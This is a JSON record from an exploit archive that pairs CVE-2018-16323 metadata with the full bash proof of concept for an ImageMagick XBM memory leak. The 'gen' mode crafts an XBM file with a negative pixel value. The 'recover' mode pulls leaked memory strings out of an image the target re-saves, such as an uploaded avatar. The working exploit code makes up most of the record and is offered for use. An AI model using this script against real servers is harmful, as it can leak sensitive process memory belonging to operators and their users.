{"exploit":{"id":"EDB-45890","name":"ImageMagick - Memory Leak","description":"ImageMagick - Memory Leak","cves":["CVE-2018-16323"],"author":"ttffdd","published":"2018-11-19","platform":"multiple","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45890","path":"exploits/multiple/local/45890.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45890.sh","vulnerabilities":[{"id":"CVE-2018-16323","state":"PUBLISHED","title":null,"titleSource":null,"description":"ReadXBMImage in coders/xbm.c in ImageMagick before 7.0.8-9 leaves data uninitialized when processing an XBM file that has a negative pixel value. If the affected code is used as a library loaded into a process that includes sensitive information, that information sometimes can be leaked via the image data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-16323","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-16323"},"updatedAt":"2024-08-05T10:17:38.466Z","retrievedAt":"2026-11-26T15:05:40.079Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45890.png?v=2","url":"https://exploitbin.com/exploits/EDB-45890","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45890/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45890/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n\nhelp() {\n  echo \"Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]\"\n  echo \"  Example gen: `basename $0` gen 512x512 poc.xbm\"\n  echo \"Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc\"\n  echo \"  Example recovery: `basename $0` recover avatar.png\"\n}\nif [ \"$1\" == \"-h\" ]; then\n  help;\n  exit 0\nfi\nif [ \"$1\" == \"gen\" ]; then\n  echo \"Generating...\"\n  convert -size $2 xc:white $3\n  sed -i '0,/0x../s//0x80000001/' $3\n  if [ \"$4\" == \"minimal\" ]; then\n    echo \"Shrink to minimal body size mode\"\n    sed -i 's/0x00//g' $3\n    sed -i 's/,//g' $3\n    sed -i '/^\\s*$/d' $3\n  fi\n  echo \"Done\"\n  exit 0\nfi\nif [ \"$1\" == \"recover\" ]; then\n  convert $2 temp.xbm\n  cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3\n  rm temp.xbm\n  exit 0\nfi\nhelp;","sha256":"3ff8b4b70f0d26aecc1cae6652813d33821ff9a2530faee3715d08788c5c0f68","bytes":796,"fetchedAt":"2026-11-26T15:05:36.006Z","encoding":"utf-8 (display only; download retains original bytes)"}